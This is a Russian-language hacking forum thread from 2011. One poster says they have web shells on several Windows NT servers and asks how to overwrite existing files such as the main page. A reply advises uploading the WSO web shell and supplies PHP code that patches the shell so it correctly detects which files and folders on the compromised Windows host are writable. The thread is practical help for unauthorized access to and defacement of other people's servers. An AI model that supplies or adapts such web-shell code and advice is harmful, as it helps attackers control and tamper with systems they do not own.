права в windows NT шеле

Discussion in 'Песочница' started by FlooP1k, 3 Sep 2011.

  1. FlooP1k

    FlooP1k Banned

    Joined:
    28 Jul 2010
    Messages:
    95
    Likes Received:
    66
    Reputations:
    48
    Вобщем попалось несколько очень хороших серверов они все на Windows NT. Дык вот практически на из них можно только создавать файлы, а редактировать и заливать нельзя. Причем у большей части в одной папке редактировать можно а в другой нельзя, хотя права на все файлы стоят одинаковые.
    Как можно с этим бороться?

    Или если способ редактировать файлы? Просто допустим вот шелл, заливать могу, создавать файл могу, удалять файл который я создал могу. А удалять файлы которые есть уже на сервере не получается. Если какой то хитрый способ как то перезалить главную страницу что бы ее можно было редактировать? Или хотя бы посмотреть список файлов которые можно редактировать.
     
    #1 FlooP1k, 3 Sep 2011
    Last edited: 3 Sep 2011
  2. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    закачай на серв wso и подкорректируй его

    На вин права не правильно отображаються, а именно функция:
    PHP:
     function wsoPermsColor($f) {       if (!@is_readable($f))           return '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';       elseif (!@is_writable($f))           return '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';       else           return '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';   } 
    Багфикс при котором работает правильно
    PHP:
     function wsoPermsColor($f) {         if(is_dir($f)) {           if($GLOBALS['os'] == 'nix'){               if(is_writeable($f)) {                   return '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';               }elseif(is_readable($f)){                   return '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';               } else    return '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';           } else {             $tmp $f.'/.ssps_tmp';           if(@touch($tmp)){               unlink($tmp);               return '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';             }elseif(opendir($f)){               closedir();               return '<font color=white>' wsoPerms(@fileperms($f)) . '</font>'; }           else return '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';           }       }             else {           if($fp = @fopen($f'a')) return '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';           elseif($fp = @fopen($f'r')) return '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';       return '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';;         }     }